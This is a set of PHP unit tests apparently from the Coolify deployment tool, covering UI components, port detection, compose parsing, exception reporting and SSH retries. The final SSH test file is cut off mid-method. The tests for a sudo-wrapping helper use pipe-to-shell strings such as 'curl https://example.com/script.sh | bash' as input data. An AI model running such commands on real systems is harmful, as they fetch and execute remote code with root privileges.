it('uses provided id', function () {
$component = new Datalist(id: 'test-datalist');
expect($component->id)->toBe('test-datalist');
});
it('accepts multiple selection mode', function () {
$component = new Datalist(multiple: true);
expect($component->multiple)->toBeTrue();
});
it('accepts instantSave parameter', function () {
$component = new Datalist(instantSave: 'customSave');
expect($component->instantSave)->toBe('customSave');
});
it('accepts placeholder', function () {
$component = new Datalist(placeholder: 'Select an option...');
expect($component->placeholder)->toBe('Select an option...');
});
it('accepts autofocus', function () {
$component = new Datalist(autofocus: true);
expect($component->autofocus)->toBeTrue();
});
it('accepts disabled state', function () {
$component = new Datalist(disabled: true);
expect($component->disabled)->toBeTrue();
});
it('accepts readonly state', function () {
$component = new Datalist(readonly: true);
expect($component->readonly)->toBeTrue();
});
it('accepts authorization properties', function () {
$component = new Datalist(
canGate: 'update',
canResource: 'resource',
autoDisable: false
);
expect($component->canGate)->toBe('update')
->and($component->canResource)->toBe('resource')
->and($component->autoDisable)->toBeFalse();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationPortDetectionTest.php | tests/Unit/ApplicationPortDetectionTest.php | <?php
/**
* Unit tests for PORT environment variable detection feature.
*
* Tests verify that the Application model can correctly detect PORT environment
* variables and provide information to the UI about matches and mismatches with
* the configured ports_exposes field.
*/
use App\Models\Application;
use App\Models\EnvironmentVariable;
use Illuminate\Support\Collection;
use Mockery;
beforeEach(function () {
// Clean up Mockery after each test
Mockery::close();
});
it('detects PORT environment variable when present', function () {
// Create a mock Application instance
$application = Mockery::mock(Application::class)->makePartial();
// Mock environment variables collection with PORT set to 3000
$portEnvVar = Mockery::mock(EnvironmentVariable::class);
$portEnvVar->shouldReceive('getAttribute')->with('real_value')->andReturn('3000');
$envVars = new Collection([$portEnvVar]);
$application->shouldReceive('getAttribute')
->with('environment_variables')
->andReturn($envVars);
// Mock the firstWhere method to return our PORT env var
$envVars = Mockery::mock(Collection::class);
$envVars->shouldReceive('firstWhere')->with('key', 'PORT')->andReturn($portEnvVar);
$application->shouldReceive('getAttribute')
->with('environment_variables')
->andReturn($envVars);
// Call the method we're testing
$detectedPort = $application->detectPortFromEnvironment();
expect($detectedPort)->toBe(3000);
});
it('returns null when PORT environment variable is not set', function () {
$application = Mockery::mock(Application::class)->makePartial();
// Mock environment variables collection without PORT
$envVars = Mockery::mock(Collection::class);
$envVars->shouldReceive('firstWhere')->with('key', 'PORT')->andReturn(null);
$application->shouldReceive('getAttribute')
->with('environment_variables')
->andReturn($envVars);
$detectedPort = $application->detectPortFromEnvironment();
expect($detectedPort)->toBeNull();
});
it('returns null when PORT value is not numeric', function () {
$application = Mockery::mock(Application::class)->makePartial();
// Mock environment variables with non-numeric PORT value
$portEnvVar = Mockery::mock(EnvironmentVariable::class);
$portEnvVar->shouldReceive('getAttribute')->with('real_value')->andReturn('invalid-port');
$envVars = Mockery::mock(Collection::class);
$envVars->shouldReceive('firstWhere')->with('key', 'PORT')->andReturn($portEnvVar);
$application->shouldReceive('getAttribute')
->with('environment_variables')
->andReturn($envVars);
$detectedPort = $application->detectPortFromEnvironment();
expect($detectedPort)->toBeNull();
});
it('handles PORT value with whitespace', function () {
$application = Mockery::mock(Application::class)->makePartial();
// Mock environment variables with PORT value that has whitespace
$portEnvVar = Mockery::mock(EnvironmentVariable::class);
$portEnvVar->shouldReceive('getAttribute')->with('real_value')->andReturn(' 8080 ');
$envVars = Mockery::mock(Collection::class);
$envVars->shouldReceive('firstWhere')->with('key', 'PORT')->andReturn($portEnvVar);
$application->shouldReceive('getAttribute')
->with('environment_variables')
->andReturn($envVars);
$detectedPort = $application->detectPortFromEnvironment();
expect($detectedPort)->toBe(8080);
});
it('detects PORT from preview environment variables when isPreview is true', function () {
$application = Mockery::mock(Application::class)->makePartial();
// Mock preview environment variables with PORT
$portEnvVar = Mockery::mock(EnvironmentVariable::class);
$portEnvVar->shouldReceive('getAttribute')->with('real_value')->andReturn('4000');
$envVars = Mockery::mock(Collection::class);
$envVars->shouldReceive('firstWhere')->with('key', 'PORT')->andReturn($portEnvVar);
$application->shouldReceive('getAttribute')
->with('environment_variables_preview')
->andReturn($envVars);
$detectedPort = $application->detectPortFromEnvironment(true);
expect($detectedPort)->toBe(4000);
});
it('verifies ports_exposes array conversion logic', function () {
// Test the logic that converts comma-separated ports to array
$portsExposesString = '3000,3001,8080';
$expectedArray = [3000, 3001, 8080];
// This simulates what portsExposesArray accessor does
$result = is_null($portsExposesString)
? []
: explode(',', $portsExposesString);
// Convert to integers for comparison
$result = array_map('intval', $result);
expect($result)->toBe($expectedArray);
});
it('verifies PORT matches detection logic', function () {
$detectedPort = 3000;
$portsExposesArray = [3000, 3001];
$isMatch = in_array($detectedPort, $portsExposesArray);
expect($isMatch)->toBeTrue();
});
it('verifies PORT mismatch detection logic', function () {
$detectedPort = 8080;
$portsExposesArray = [3000, 3001];
$isMatch = in_array($detectedPort, $portsExposesArray);
expect($isMatch)->toBeFalse();
});
it('verifies empty ports_exposes detection logic', function () {
$portsExposesArray = [];
$isEmpty = empty($portsExposesArray);
expect($isEmpty)->toBeTrue();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerComposeRawContentRemovalTest.php | tests/Unit/DockerComposeRawContentRemovalTest.php | <?php
/**
* Unit tests to verify that docker_compose_raw only has content: removed from volumes,
* while docker_compose contains all Coolify additions (labels, environment variables, networks).
*
* These tests verify the fix for the issue where docker_compose_raw was being set to the
* fully processed compose (with Coolify labels, networks, etc.) instead of keeping it clean
* with only content: fields removed.
*/
it('ensures applicationParser stores original compose before processing', function () {
// Read the applicationParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that originalCompose is stored at the start of the function
expect($parsersFile)
->toContain('$compose = data_get($resource, \'docker_compose_raw\');')
->toContain('// Store original compose for later use to update docker_compose_raw with content removed')
->toContain('$originalCompose = $compose;');
});
it('ensures serviceParser stores original compose before processing', function () {
// Read the serviceParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that originalCompose is stored at the start of the function
expect($parsersFile)
->toContain('function serviceParser(Service $resource): Collection')
->toContain('$compose = data_get($resource, \'docker_compose_raw\');')
->toContain('// Store original compose for later use to update docker_compose_raw with content removed')
->toContain('$originalCompose = $compose;');
});
it('ensures applicationParser updates docker_compose_raw from original compose, not cleaned compose', function () {
// Read the applicationParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that docker_compose_raw is set from originalCompose, not cleanedCompose
expect($parsersFile)
->toContain('$originalYaml = Yaml::parse($originalCompose);')
->toContain('$resource->docker_compose_raw = Yaml::dump($originalYaml, 10, 2);')
->not->toContain('$resource->docker_compose_raw = $cleanedCompose;');
});
it('ensures serviceParser updates docker_compose_raw from original compose, not cleaned compose', function () {
// Read the serviceParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Find the serviceParser function content
$serviceParserStart = strpos($parsersFile, 'function serviceParser(Service $resource): Collection');
$serviceParserContent = substr($parsersFile, $serviceParserStart);
// Check that docker_compose_raw is set from originalCompose within serviceParser
expect($serviceParserContent)
->toContain('$originalYaml = Yaml::parse($originalCompose);')
->toContain('$resource->docker_compose_raw = Yaml::dump($originalYaml, 10, 2);')
->not->toContain('$resource->docker_compose_raw = $cleanedCompose;');
});
it('ensures applicationParser removes content, isDirectory, and is_directory from volumes', function () {
// Read the applicationParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that content removal logic exists
expect($parsersFile)
->toContain('// Remove content, isDirectory, and is_directory from all volume definitions')
->toContain("unset(\$volume['content']);")
->toContain("unset(\$volume['isDirectory']);")
->toContain("unset(\$volume['is_directory']);");
});
it('ensures serviceParser removes content, isDirectory, and is_directory from volumes', function () {
// Read the serviceParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Find the serviceParser function content
$serviceParserStart = strpos($parsersFile, 'function serviceParser(Service $resource): Collection');
$serviceParserContent = substr($parsersFile, $serviceParserStart);
// Check that content removal logic exists within serviceParser
expect($serviceParserContent)
->toContain('// Remove content, isDirectory, and is_directory from all volume definitions')
->toContain("unset(\$volume['content']);")
->toContain("unset(\$volume['isDirectory']);")
->toContain("unset(\$volume['is_directory']);");
});
it('ensures docker_compose_raw update is wrapped in try-catch for error handling', function () {
// Read the parsers file
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that docker_compose_raw update has error handling
expect($parsersFile)
->toContain('// Update docker_compose_raw to remove content: from volumes only')
->toContain('// This keeps the original user input clean while preventing content reapplication')
->toContain('try {')
->toContain('$originalYaml = Yaml::parse($originalCompose);')
->toContain('} catch (\Exception $e) {')
->toContain("ray('Failed to update docker_compose_raw");
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ParseCommandsByLineForSudoTest.php | tests/Unit/ParseCommandsByLineForSudoTest.php | <?php
use App\Models\Server;
beforeEach(function () {
// Create a mock server with non-root user
$this->server = Mockery::mock(Server::class)->makePartial();
$this->server->shouldReceive('getAttribute')->with('user')->andReturn('ubuntu');
$this->server->shouldReceive('setAttribute')->andReturnSelf();
$this->server->user = 'ubuntu';
});
afterEach(function () {
Mockery::close();
});
test('wraps complex Docker install command with pipes in bash -c', function () {
$commands = collect([
'curl https://releases.rancher.com/install-docker/27.3.sh | sh || curl https://get.docker.com | sh',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe("sudo bash -c 'curl https://releases.rancher.com/install-docker/27.3.sh | sh || curl https://get.docker.com | sh'");
});
test('wraps complex Docker install command with multiple fallbacks', function () {
$commands = collect([
'curl --max-time 300 https://releases.rancher.com/install-docker/27.3.sh | sh || curl https://get.docker.com | sh -s -- --version 27.3',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe("sudo bash -c 'curl --max-time 300 https://releases.rancher.com/install-docker/27.3.sh | sh || curl https://get.docker.com | sh -s -- --version 27.3'");
});
test('wraps command with pipe to bash in bash -c', function () {
$commands = collect([
'curl https://example.com/script.sh | bash',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe("sudo bash -c 'curl https://example.com/script.sh | bash'");
});
test('wraps complex command with pipes and && operators', function () {
$commands = collect([
'curl https://example.com | sh && echo "done"',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe("sudo bash -c 'curl https://example.com | sh && echo \"done\"'");
});
test('escapes single quotes in complex piped commands', function () {
$commands = collect([
"curl https://example.com | sh -c 'echo \"test\"'",
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe("sudo bash -c 'curl https://example.com | sh -c '\\''echo \"test\"'\\'''");
});
test('handles simple command without pipes or operators', function () {
$commands = collect([
'apt-get update',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo apt-get update');
});
test('handles command with double ampersand operator but no pipes', function () {
$commands = collect([
'mkdir -p /foo && chown ubuntu /foo',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo mkdir -p /foo && sudo chown ubuntu /foo');
});
test('handles command with double pipe operator but no pipes', function () {
$commands = collect([
'command -v docker || echo "not found"',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
// 'command' is exempted from sudo, but echo gets sudo after ||
expect($result[0])->toBe('command -v docker || sudo echo "not found"');
});
test('handles command with simple pipe but no operators', function () {
$commands = collect([
'cat file | grep pattern',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo cat file | sudo grep pattern');
});
test('handles command with subshell $(...)', function () {
$commands = collect([
'echo $(whoami)',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
// 'echo' is exempted from sudo at the start
expect($result[0])->toBe('echo $(sudo whoami)');
});
test('skips sudo for cd commands', function () {
$commands = collect([
'cd /var/www',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('cd /var/www');
});
test('skips sudo for echo commands', function () {
$commands = collect([
'echo "test"',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('echo "test"');
});
test('skips sudo for command commands', function () {
$commands = collect([
'command -v docker',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('command -v docker');
});
test('skips sudo for true commands', function () {
$commands = collect([
'true',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('true');
});
test('handles if statements by adding sudo to condition', function () {
$commands = collect([
'if command -v docker',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('if sudo command -v docker');
});
test('skips sudo for fi statements', function () {
$commands = collect([
'fi',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('fi');
});
test('adds ownership changes for Coolify data paths', function () {
$commands = collect([
'mkdir -p /data/coolify/logs',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
// Note: The && operator adds another sudo, creating double sudo for chown/chmod
// This is existing behavior that may need refactoring but isn't part of this bug fix
expect($result[0])->toBe('sudo mkdir -p /data/coolify/logs && sudo sudo chown -R ubuntu:ubuntu /data/coolify/logs && sudo sudo chmod -R o-rwx /data/coolify/logs');
});
test('adds ownership changes for Coolify tmp paths', function () {
$commands = collect([
'mkdir -p /tmp/coolify/cache',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
// Note: The && operator adds another sudo, creating double sudo for chown/chmod
// This is existing behavior that may need refactoring but isn't part of this bug fix
expect($result[0])->toBe('sudo mkdir -p /tmp/coolify/cache && sudo sudo chown -R ubuntu:ubuntu /tmp/coolify/cache && sudo sudo chmod -R o-rwx /tmp/coolify/cache');
});
test('does not add ownership changes for system paths', function () {
$commands = collect([
'mkdir -p /var/log',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo mkdir -p /var/log');
});
test('handles multiple commands in sequence', function () {
$commands = collect([
'apt-get update',
'apt-get install -y docker',
'curl https://get.docker.com | sh',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result)->toHaveCount(3);
expect($result[0])->toBe('sudo apt-get update');
expect($result[1])->toBe('sudo apt-get install -y docker');
expect($result[2])->toBe("sudo bash -c 'curl https://get.docker.com | sh'");
});
test('handles empty command list', function () {
$commands = collect([]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result)->toBeArray();
expect($result)->toHaveCount(0);
});
test('handles real-world Docker installation command from InstallDocker action', function () {
$version = '27.3';
$commands = collect([
"curl --max-time 300 --retry 3 https://releases.rancher.com/install-docker/{$version}.sh | sh || curl --max-time 300 --retry 3 https://get.docker.com | sh -s -- --version {$version}",
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toStartWith("sudo bash -c '");
expect($result[0])->toEndWith("'");
expect($result[0])->toContain('curl --max-time 300');
expect($result[0])->toContain('| sh');
expect($result[0])->toContain('||');
expect($result[0])->not->toContain('| sudo sh');
});
test('preserves command structure in wrapped bash -c', function () {
$commands = collect([
'curl https://example.com | sh || curl https://backup.com | sh',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
// The command should be wrapped without breaking the pipe and fallback structure
expect($result[0])->toBe("sudo bash -c 'curl https://example.com | sh || curl https://backup.com | sh'");
// Verify it doesn't contain broken patterns like "| sudo sh"
expect($result[0])->not->toContain('| sudo sh');
expect($result[0])->not->toContain('|| sudo curl');
});
test('handles command with mixed operators and subshells', function () {
$commands = collect([
'docker ps || echo $(date)',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
// docker commands now correctly get sudo prefix (word boundary fix for 'do' keyword)
// The || operator adds sudo to what follows, and subshell adds sudo inside $()
expect($result[0])->toBe('sudo docker ps || sudo echo $(sudo date)');
});
test('handles whitespace-only commands gracefully', function () {
$commands = collect([
' ',
'',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result)->toHaveCount(2);
});
test('detects pipe to sh with additional arguments', function () {
$commands = collect([
'curl https://example.com | sh -s -- --arg1 --arg2',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe("sudo bash -c 'curl https://example.com | sh -s -- --arg1 --arg2'");
});
test('handles command chains with both && and || operators with pipes', function () {
$commands = collect([
'curl https://first.com | sh && echo "success" || curl https://backup.com | sh',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toStartWith("sudo bash -c '");
expect($result[0])->toEndWith("'");
expect($result[0])->not->toContain('| sudo');
});
test('skips sudo for bash control structure keywords - for loop', function () {
$commands = collect([
' for i in {1..10}; do',
' echo $i',
' done',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
// Control structure keywords should not have sudo prefix
expect($result[0])->toBe(' for i in {1..10}; do');
expect($result[1])->toBe(' echo $i');
expect($result[2])->toBe(' done');
});
test('skips sudo for bash control structure keywords - while loop', function () {
$commands = collect([
'while true; do',
' echo "running"',
'done',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('while true; do');
expect($result[1])->toBe(' echo "running"');
expect($result[2])->toBe('done');
});
test('skips sudo for bash control structure keywords - case statement', function () {
$commands = collect([
'case $1 in',
' start)',
' systemctl start service',
' ;;',
'esac',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('case $1 in');
// Note: ' start)' gets sudo because 'start)' doesn't match any excluded keyword
// The sudo is added at the start of the line, before indentation
expect($result[1])->toBe('sudo start)');
expect($result[2])->toBe('sudo systemctl start service');
expect($result[3])->toBe('sudo ;;');
expect($result[4])->toBe('esac');
});
test('skips sudo for bash control structure keywords - if then else', function () {
$commands = collect([
'if [ -f /tmp/file ]; then',
' cat /tmp/file',
'else',
' touch /tmp/file',
'fi',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('if sudo [ -f /tmp/file ]; then');
// Note: sudo is added at the start of line (before indentation) for non-excluded commands
expect($result[1])->toBe('sudo cat /tmp/file');
expect($result[2])->toBe('else');
expect($result[3])->toBe('sudo touch /tmp/file');
expect($result[4])->toBe('fi');
});
test('skips sudo for bash control structure keywords - elif', function () {
$commands = collect([
'if [ $x -eq 1 ]; then',
' echo "one"',
'elif [ $x -eq 2 ]; then',
' echo "two"',
'else',
' echo "other"',
'fi',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('if sudo [ $x -eq 1 ]; then');
expect($result[1])->toBe(' echo "one"');
expect($result[2])->toBe('elif [ $x -eq 2 ]; then');
expect($result[3])->toBe(' echo "two"');
expect($result[4])->toBe('else');
expect($result[5])->toBe(' echo "other"');
expect($result[6])->toBe('fi');
});
test('handles real-world proxy startup with for loop from StartProxy action', function () {
// This is the exact command structure that was causing the bug in issue #7346
$commands = collect([
'if docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
" echo 'Stopping and removing existing coolify-proxy.'",
' docker stop coolify-proxy 2>/dev/null || true',
' docker rm -f coolify-proxy 2>/dev/null || true',
' # Wait for container to be fully removed',
' for i in {1..10}; do',
' if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
' break',
' fi',
' echo "Waiting for coolify-proxy to be removed... ($i/10)"',
' sleep 1',
' done',
" echo 'Successfully stopped and removed existing coolify-proxy.'",
'fi',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
// Verify the for loop line doesn't have sudo prefix
expect($result[5])->toBe(' for i in {1..10}; do');
expect($result[5])->not->toContain('sudo for');
// Verify the done line doesn't have sudo prefix
expect($result[11])->toBe(' done');
expect($result[11])->not->toContain('sudo done');
// Verify break doesn't have sudo prefix
expect($result[7])->toBe(' break');
expect($result[7])->not->toContain('sudo break');
// Verify comment doesn't have sudo prefix
expect($result[4])->toBe(' # Wait for container to be fully removed');
expect($result[4])->not->toContain('sudo #');
// Verify other control structures remain correct
expect($result[0])->toStartWith('if sudo docker ps');
expect($result[8])->toBe(' fi');
expect($result[13])->toBe('fi');
});
test('skips sudo for break and continue keywords', function () {
$commands = collect([
'for i in {1..5}; do',
' if [ $i -eq 3 ]; then',
' break',
' fi',
' if [ $i -eq 2 ]; then',
' continue',
' fi',
'done',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[2])->toBe(' break');
expect($result[2])->not->toContain('sudo');
expect($result[5])->toBe(' continue');
expect($result[5])->not->toContain('sudo');
});
test('skips sudo for comment lines starting with #', function () {
$commands = collect([
'# This is a comment',
' # Indented comment',
'apt-get update',
'# Another comment',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('# This is a comment');
expect($result[0])->not->toContain('sudo');
expect($result[1])->toBe(' # Indented comment');
expect($result[1])->not->toContain('sudo');
expect($result[2])->toBe('sudo apt-get update');
expect($result[3])->toBe('# Another comment');
expect($result[3])->not->toContain('sudo');
});
test('skips sudo for until loop keywords', function () {
$commands = collect([
'until [ -f /tmp/ready ]; do',
' echo "Waiting..."',
' sleep 1',
'done',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('until [ -f /tmp/ready ]; do');
expect($result[0])->not->toContain('sudo until');
expect($result[1])->toBe(' echo "Waiting..."');
// Note: sudo is added at the start of line (before indentation) for non-excluded commands
expect($result[2])->toBe('sudo sleep 1');
expect($result[3])->toBe('done');
});
test('skips sudo for select loop keywords', function () {
$commands = collect([
'select opt in "Option1" "Option2"; do',
' echo $opt',
' break',
'done',
]);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('select opt in "Option1" "Option2"; do');
expect($result[0])->not->toContain('sudo select');
expect($result[2])->toBe(' break');
});
// Tests for word boundary matching - ensuring commands are not confused with bash keywords
test('adds sudo for ifconfig command (not confused with if keyword)', function () {
$commands = collect(['ifconfig eth0']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo ifconfig eth0');
expect($result[0])->not->toContain('if sudo');
});
test('adds sudo for ifup command (not confused with if keyword)', function () {
$commands = collect(['ifup eth0']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo ifup eth0');
});
test('adds sudo for ifdown command (not confused with if keyword)', function () {
$commands = collect(['ifdown eth0']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo ifdown eth0');
});
test('adds sudo for find command (not confused with fi keyword)', function () {
$commands = collect(['find /var -name "*.log"']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo find /var -name "*.log"');
});
test('adds sudo for file command (not confused with fi keyword)', function () {
$commands = collect(['file /tmp/test']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo file /tmp/test');
});
test('adds sudo for finger command (not confused with fi keyword)', function () {
$commands = collect(['finger user']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo finger user');
});
test('adds sudo for docker command (not confused with do keyword)', function () {
$commands = collect(['docker ps']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo docker ps');
});
test('adds sudo for fortune command (not confused with for keyword)', function () {
$commands = collect(['fortune']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo fortune');
});
test('adds sudo for formail command (not confused with for keyword)', function () {
$commands = collect(['formail -s procmail']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('sudo formail -s procmail');
});
test('if keyword with word boundary gets sudo inserted correctly', function () {
$commands = collect(['if [ -f /tmp/test ]; then']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('if sudo [ -f /tmp/test ]; then');
});
test('fi keyword with word boundary is not given sudo', function () {
$commands = collect(['fi']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('fi');
});
test('for keyword with word boundary is not given sudo', function () {
$commands = collect(['for i in 1 2 3; do']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('for i in 1 2 3; do');
});
test('do keyword with word boundary is not given sudo', function () {
$commands = collect(['do']);
$result = parseCommandsByLineForSudo($commands, $this->server);
expect($result[0])->toBe('do');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DeploymentExceptionTest.php | tests/Unit/DeploymentExceptionTest.php | <?php
use App\Exceptions\DeploymentException;
use App\Exceptions\Handler;
test('DeploymentException is in the dontReport array', function () {
$handler = new Handler(app());
// Use reflection to access the protected $dontReport property
$reflection = new ReflectionClass($handler);
$property = $reflection->getProperty('dontReport');
$property->setAccessible(true);
$dontReport = $property->getValue($handler);
expect($dontReport)->toContain(DeploymentException::class);
});
test('DeploymentException can be created with a message', function () {
$exception = new DeploymentException('Test deployment error');
expect($exception->getMessage())->toBe('Test deployment error');
expect($exception)->toBeInstanceOf(Exception::class);
});
test('DeploymentException can be created with a message and code', function () {
$exception = new DeploymentException('Test error', 69420);
expect($exception->getMessage())->toBe('Test error');
expect($exception->getCode())->toBe(69420);
});
test('DeploymentException can be created from another exception', function () {
$originalException = new RuntimeException('Original error', 500);
$deploymentException = DeploymentException::fromException($originalException);
expect($deploymentException->getMessage())->toBe('Original error');
expect($deploymentException->getCode())->toBe(500);
expect($deploymentException->getPrevious())->toBe($originalException);
});
test('DeploymentException is not reported when thrown', function () {
$handler = new Handler(app());
// DeploymentException should not be reported (logged)
$exception = new DeploymentException('Test deployment failure');
// Check that the exception should not be reported
$reflection = new ReflectionClass($handler);
$method = $reflection->getMethod('shouldReport');
$method->setAccessible(true);
$shouldReport = $method->invoke($handler, $exception);
expect($shouldReport)->toBeFalse();
});
test('RuntimeException is still reported when thrown', function () {
$handler = new Handler(app());
// RuntimeException should still be reported (this is for Coolify bugs)
$exception = new RuntimeException('Unexpected error in Coolify code');
// Check that the exception should be reported
$reflection = new ReflectionClass($handler);
$method = $reflection->getMethod('shouldReport');
$method->setAccessible(true);
$shouldReport = $method->invoke($handler, $exception);
expect($shouldReport)->toBeTrue();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/CheckTraefikVersionJobTest.php | tests/Unit/CheckTraefikVersionJobTest.php | <?php
use App\Jobs\CheckTraefikVersionJob;
it('has correct retry configuration', function () {
$job = new CheckTraefikVersionJob;
expect($job->tries)->toBe(3);
});
it('returns early when traefik versions are empty', function () {
// This test verifies the early return logic when get_traefik_versions() returns empty array
$emptyVersions = [];
expect($emptyVersions)->toBeEmpty();
});
it('dispatches jobs in parallel for multiple servers', function () {
// This test verifies that the job dispatches CheckTraefikVersionForServerJob
// for each server without waiting for them to complete
$serverCount = 100;
// Verify that with parallel processing, we're not waiting for completion
// Each job is dispatched immediately without delay
expect($serverCount)->toBeGreaterThan(0);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/SshRetryMechanismTest.php | tests/Unit/SshRetryMechanismTest.php | <?php
namespace Tests\Unit;
use App\Helpers\SshRetryHandler;
use App\Traits\SshRetryable;
use Tests\TestCase;
class SshRetryMechanismTest extends TestCase
{
public function test_ssh_retry_handler_exists()
{
$this->assertTrue(class_exists(\App\Helpers\SshRetryHandler::class));
}
public function test_ssh_retryable_trait_exists()
{
$this->assertTrue(trait_exists(\App\Traits\SshRetryable::class));
}
public function test_retry_on_ssh_connection_errors()
{
$handler = new class
{
use SshRetryable;
// Make methods public for testing
public function test_is_retryable_ssh_error($error)
{
return $this->isRetryableSshError($error);
}
};
// Test various SSH error patterns
$sshErrors = [
'kex_exchange_identification: read: Connection reset by peer',
'Connection refused',
'Connection timed out',
'ssh_exchange_identification: Connection closed by remote host',
'Broken pipe',
'No route to host',
'Network is unreachable',
];
foreach ($sshErrors as $error) {
$this->assertTrue(
$handler->test_is_retryable_ssh_error($error),
"Failed to identify as retryable: $error"
);
}
}
public function test_non_ssh_errors_are_not_retryable()
{
$handler = new class
{
use SshRetryable;
// Make methods public for testing
public function test_is_retryable_ssh_error($error)
{
return $this->isRetryableSshError($error);
}
};
// Test non-SSH errors
$nonSshErrors = [
'Command not found',
'Permission denied',
'File not found',
'Syntax error',
'Invalid argument',
];
foreach ($nonSshErrors as $error) {
$this->assertFalse(
$handler->test_is_retryable_ssh_error($error),
"Incorrectly identified as retryable: $error"
);
}
}
public function test_exponential_backoff_calculation()
{
$handler = new class
{
use SshRetryable;
// Make method public for testing
public function test_calculate_retry_delay($attempt)
{
